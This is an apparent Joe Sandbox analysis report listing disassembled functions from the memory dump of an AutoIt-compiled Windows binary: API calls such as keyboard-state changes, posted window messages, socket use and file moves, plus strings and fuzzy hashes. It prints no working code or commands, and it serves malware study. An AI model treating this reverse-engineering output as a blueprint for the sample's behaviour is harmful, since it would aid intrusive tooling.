Instruction Fuzzy Hash: 52213A62F4090A77FA159D208E93FBA734DBF51B91F400024FE049A541F724FE18B7A6

Function 00FB4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00FB502E, 00FB5383
Not an Object type, xrefs: 00FB5007

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 674fc325f8e5cc883e25b5830a3b5e3f0b44ec3443e7b9095c67cfebb3086501
Instruction ID: e67c65d8a13b8ca435ddd919b18ac7848cb12bfe9e7744cc8c47259162e6f17b
Opcode Fuzzy Hash: 674fc325f8e5cc883e25b5830a3b5e3f0b44ec3443e7b9095c67cfebb3086501
Instruction Fuzzy Hash: 1BD1EC71A0060AAFDF10DFA9C880BEEB7B5BF48754F148069E915AB280E774DD45DFA0

Function 00F71522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00F715CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00F71651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F716E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00F716FB

Part of subcall function 00F63820: RtlAllocateHeap.NTDLL(00000000,?,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6,?,00F31129), ref: 00F63852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F71777
__freea.LIBCMT ref: 00F717A2
__freea.LIBCMT ref: 00F717AE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 9fb93cf540668aa19f5110a743e8f913f88fe02be32ba3005e4d76b080ecde18
Instruction ID: c355d6a0854e5fef48adfa5a83f3fd6fa7b75be8c114fd17bc4825693d8c5b1b
Opcode Fuzzy Hash: 9fb93cf540668aa19f5110a743e8f913f88fe02be32ba3005e4d76b080ecde18
Instruction Fuzzy Hash: 2C91E972E002165ADF288E7CCC41EEE7BB5BF45720F18865AE809E7140D735DD49E7A2

Function 00FB4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FB4648
VariantInit.OLEAUT32(?), ref: 00FB4749
VariantClear.OLEAUT32(?), ref: 00FB4753
VariantClear.OLEAUT32(?), ref: 00FB47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00FB472C
Null Object assignment in FOR..IN loop, xrefs: 00FB45D8, 00FB4706, 00FB47BE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: e38dc28ed296c10be011181985f7e30e475c0c7d1fa9647bd52c6e7cb43a6c82
Instruction ID: 58adcbcaa3e07216c8e19873b7213d93130a4f85e21e5a84d83824af8c521fe0
Opcode Fuzzy Hash: e38dc28ed296c10be011181985f7e30e475c0c7d1fa9647bd52c6e7cb43a6c82
Instruction Fuzzy Hash: CA918271E00219ABDF20CF66C944FEEBBB9AF45720F108559E505AB282D770A945DFA0

Function 00FA1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00FA125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00FA1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00FA12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FA12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FA135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FA13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00FA1430

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: d906d846d29f53dbfc44234fcc6151b7aa0076132ed2a404a937cc46237abaac
Instruction ID: fac13f3e811d0e54b938b7b9a742abac063dc05f1aec0379687a03ebeb524c2b
Opcode Fuzzy Hash: d906d846d29f53dbfc44234fcc6151b7aa0076132ed2a404a937cc46237abaac
Instruction Fuzzy Hash: 9691E6B1E002099FDB00DF98C885BBE77B5FF46325F164029E941EB291D778E945EB90

Function 00F4948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 5dae07ea525b743813cd26840e974860c7ea799bac5a0f18f93977ed48b7846a
Instruction ID: 88fa6172958918ca1419e835d425b4355d02cf37769c299c72b3d5da56e6afef
Opcode Fuzzy Hash: 5dae07ea525b743813cd26840e974860c7ea799bac5a0f18f93977ed48b7846a
Instruction Fuzzy Hash: 01912871E44219AFCB10DFA9CC84AEEBFB8FF49320F244159E915B7251D378A941EB60

Function 00FB3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FB396B
CharUpperBuffW.USER32(?,?), ref: 00FB3A7A
_wcslen.LIBCMT ref: 00FB3A8A
VariantClear.OLEAUT32(?), ref: 00FB3C1F

Part of subcall function 00FA0CDF: VariantInit.OLEAUT32(00000000), ref: 00FA0D1F
Part of subcall function 00FA0CDF: VariantCopy.OLEAUT32(?,?), ref: 00FA0D28
Part of subcall function 00FA0CDF: VariantClear.OLEAUT32(?), ref: 00FA0D34

Strings

AUTOIT.ERROR, xrefs: 00FB3A80, 00FB3A85
Incorrect Parameter format, xrefs: 00FB39A6, 00FB3BA1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 9178cc6cd57a3cf3ad13fe226685a2f6db7473b7ddfd7f4e3b9c2ce38e5fc2de
Instruction ID: 94c5b8781c4eff2b0e30bac6a968ff606a1de6f42630eacc59e5225866a13ce3
Opcode Fuzzy Hash: 9178cc6cd57a3cf3ad13fe226685a2f6db7473b7ddfd7f4e3b9c2ce38e5fc2de
Instruction Fuzzy Hash: 47913675A083059FC704EF25C88196AB7E5BF88324F14892DF88997351DB34EE45EF92

Function 00FB4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00F9000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?,?,00F9035E), ref: 00F9002B
Part of subcall function 00F9000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?), ref: 00F90046
Part of subcall function 00F9000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?), ref: 00F90054
Part of subcall function 00F9000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?), ref: 00F90064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00FB4C51
_wcslen.LIBCMT ref: 00FB4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00FB4DCF
CoTaskMemFree.OLE32(?), ref: 00FB4DDA

Strings

NULL Pointer assignment, xrefs: 00FB4E23, 00FB4E52

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: b0e300ec7ef065fcbbc514f1caa359b92cda2067cc70a2616502c603e42cc0b0
Instruction ID: e30c6d2a873ff69eb17a38e74bf793399945412841a283dac941502e25bc3fdf
Opcode Fuzzy Hash: b0e300ec7ef065fcbbc514f1caa359b92cda2067cc70a2616502c603e42cc0b0
Instruction Fuzzy Hash: AE911671D0021DAFDF14DFA5CC91AEEB7B8BF48310F108169E915A7291DB74AA44EFA0

Function 00FC20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00FC2183
GetMenuItemCount.USER32(00000000), ref: 00FC21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00FC21DD
_wcslen.LIBCMT ref: 00FC2213
GetMenuItemID.USER32(?,?), ref: 00FC224D
GetSubMenu.USER32(?,?), ref: 00FC225B

Part of subcall function 00F93A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F93A57
Part of subcall function 00F93A3D: GetCurrentThreadId.KERNEL32 ref: 00F93A5E
Part of subcall function 00F93A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00F925B3), ref: 00F93A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00FC22E3

Part of subcall function 00F9E97B: Sleep.KERNEL32 ref: 00F9E9F3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 6e4627c7ac59ec8990ee4f949c2a059016de8920659a7f4549ae94994807e6f8
Instruction ID: fca90c13dc46fdff3ec4498fa4246aea8f6052bb9046697920af51f5db19a856
Opcode Fuzzy Hash: 6e4627c7ac59ec8990ee4f949c2a059016de8920659a7f4549ae94994807e6f8
Instruction Fuzzy Hash: 40718E75E00206AFDB54EF64C942FAEB7F1EF48320F148459E816EB341D738AD41AB90

Function 00FC7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01585688), ref: 00FC7F37
IsWindowEnabled.USER32(01585688), ref: 00FC7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00FC801E
SendMessageW.USER32(01585688,000000B0,?,?), ref: 00FC8051
IsDlgButtonChecked.USER32(?,?), ref: 00FC8089
GetWindowLongW.USER32(01585688,000000EC), ref: 00FC80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00FC80C3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: a7c9d5c89eb35499d845a01c9883ac1d155b951869c30c00dbbafd3939fd442d
Instruction ID: bd51882eb656ea21542f2eafa2c4330420c1156ea6f0821bb3e8b6c3fda23153
Opcode Fuzzy Hash: a7c9d5c89eb35499d845a01c9883ac1d155b951869c30c00dbbafd3939fd442d
Instruction Fuzzy Hash: 0C71BF34A08346AFEB21AF64CEC6FAABBB5EF09360F14005DE95553251CB31A845FF90

Function 00F9AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00F9AEF9
GetKeyboardState.USER32(?), ref: 00F9AF0E
SetKeyboardState.USER32(?), ref: 00F9AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00F9AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00F9AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00F9AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00F9B020

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 898a758c5ab2a417faf40bc7f9c8a9331b514608025077334aed0470737c4a35
Instruction ID: 1d9dd83d8c2c3e31ea27f98fc55a4fae7bebcd8fd7e38b04e582f279ec8b4e92
Opcode Fuzzy Hash: 898a758c5ab2a417faf40bc7f9c8a9331b514608025077334aed0470737c4a35
Instruction Fuzzy Hash: C851D1A1A047D53DFF3743348D49BBABEA95B06318F088589E1D9458D2C3D9ACC8F791

Function 00F9ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00F9AD19
GetKeyboardState.USER32(?), ref: 00F9AD2E
SetKeyboardState.USER32(?), ref: 00F9AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00F9ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00F9ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00F9AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00F9AE38

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 42d1c60442cb784ff7be0458aa38a04342d56bbe6c1db5310b3b2ab3c7444861
Instruction ID: c41996d84e70317f353046b2aaca43859b5f1397a88bf9c91e99b7c4ed3d5c84
Opcode Fuzzy Hash: 42d1c60442cb784ff7be0458aa38a04342d56bbe6c1db5310b3b2ab3c7444861
Instruction Fuzzy Hash: CC51D5A1D047D53DFF3793358C55B7A7EA85B46310F088489E1D9468C2D294EC98F7D2

Function 00F6542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00F73CD6,?,?,?,?,?,?,?,?,00F65BA3,?,?,00F73CD6,?,?), ref: 00F65470
__fassign.LIBCMT ref: 00F654EB
__fassign.LIBCMT ref: 00F65506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00F73CD6,00000005,00000000,00000000), ref: 00F6552C
WriteFile.KERNEL32(?,00F73CD6,00000000,00F65BA3,00000000,?,?,?,?,?,?,?,?,?,00F65BA3,?), ref: 00F6554B
WriteFile.KERNEL32(?,?,00000001,00F65BA3,00000000,?,?,?,?,?,?,?,?,?,00F65BA3,?), ref: 00F65584

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: d42a9af1b3bf286618d9fbeed2ab7ebaf2030c7a0ba37f7a5818f2655aa06e73
Instruction ID: 4d5c1456a2f136d58c50f59d9c43b0430267d5aa722060bf6fa8a63f0cee9254
Opcode Fuzzy Hash: d42a9af1b3bf286618d9fbeed2ab7ebaf2030c7a0ba37f7a5818f2655aa06e73
Instruction Fuzzy Hash: B851DFB1E006499FDB10CFA8D846AEEBBF9EF08710F18411EF946F3291D6309A41DB60

Function 00F52D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F52D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00F52D53
_ValidateLocalCookies.LIBCMT ref: 00F52DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00F52E0C
_ValidateLocalCookies.LIBCMT ref: 00F52E61

Strings

csm, xrefs: 00F52DF6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c8a663c2390f4e43e973773d04606ebb373973cc707460d5bfb0aeef2f00cc0f
Instruction ID: aa77299c459bc567a4c195cc1a1f228f1b5d5abc269d3407529d1dcd09fce808
Opcode Fuzzy Hash: c8a663c2390f4e43e973773d04606ebb373973cc707460d5bfb0aeef2f00cc0f
Instruction Fuzzy Hash: 9041E834E002089BCF10DF68CC45A9EBBB5BF46326F148255EE146B352D735DA09EBD0

Function 00FB10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FB307A
Part of subcall function 00FB304E: _wcslen.LIBCMT ref: 00FB309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00FB1112
WSAGetLastError.WSOCK32 ref: 00FB1121
WSAGetLastError.WSOCK32 ref: 00FB11C9
closesocket.WSOCK32(00000000), ref: 00FB11F9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 2a0ef10c9c87fd122812cc3daeea518ef75f3952ad7f2137a419058c82276be4
Instruction ID: b5c976218307d2e1381e8cb5b95845b53b58bca90738b4a8aba6aaf5840bd138
Opcode Fuzzy Hash: 2a0ef10c9c87fd122812cc3daeea518ef75f3952ad7f2137a419058c82276be4
Instruction Fuzzy Hash: 5D41D036600208AFDB109F29CC95BEABBA9FF45364F148059F909AB291C774AD41DFE0

Function 00F9CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F9CF22,?), ref: 00F9DDFD

Part of subcall function 00F9DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F9CF22,?), ref: 00F9DE16

lstrcmpiW.KERNEL32(?,?), ref: 00F9CF45
MoveFileW.KERNEL32(?,?), ref: 00F9CF7F
_wcslen.LIBCMT ref: 00F9D005
_wcslen.LIBCMT ref: 00F9D01B
SHFileOperationW.SHELL32(?), ref: 00F9D061

Strings

\*.*, xrefs: 00F9CFF3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 44f0a99d364e1bc74ef17fc3219208d88c95d082609533be5bf813fa61762c59
Instruction ID: 798038c7c8da9977500c7a0a1551f0061b0ee4cc95e207464b4c97a01ba858f4
Opcode Fuzzy Hash: 44f0a99d364e1bc74ef17fc3219208d88c95d082609533be5bf813fa61762c59
Instruction Fuzzy Hash: 0F415871D051185FEF12EBA4DD81EDDB7B8AF04384F1000E6E509E7141EA74A688DB50

Function 00FC2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00FC2E1C
GetWindowLongW.USER32(?,000000F0), ref: 00FC2E4F
GetWindowLongW.USER32(?,000000F0), ref: 00FC2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00FC2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00FC2EE0
GetWindowLongW.USER32(?,000000F0), ref: 00FC2EF1
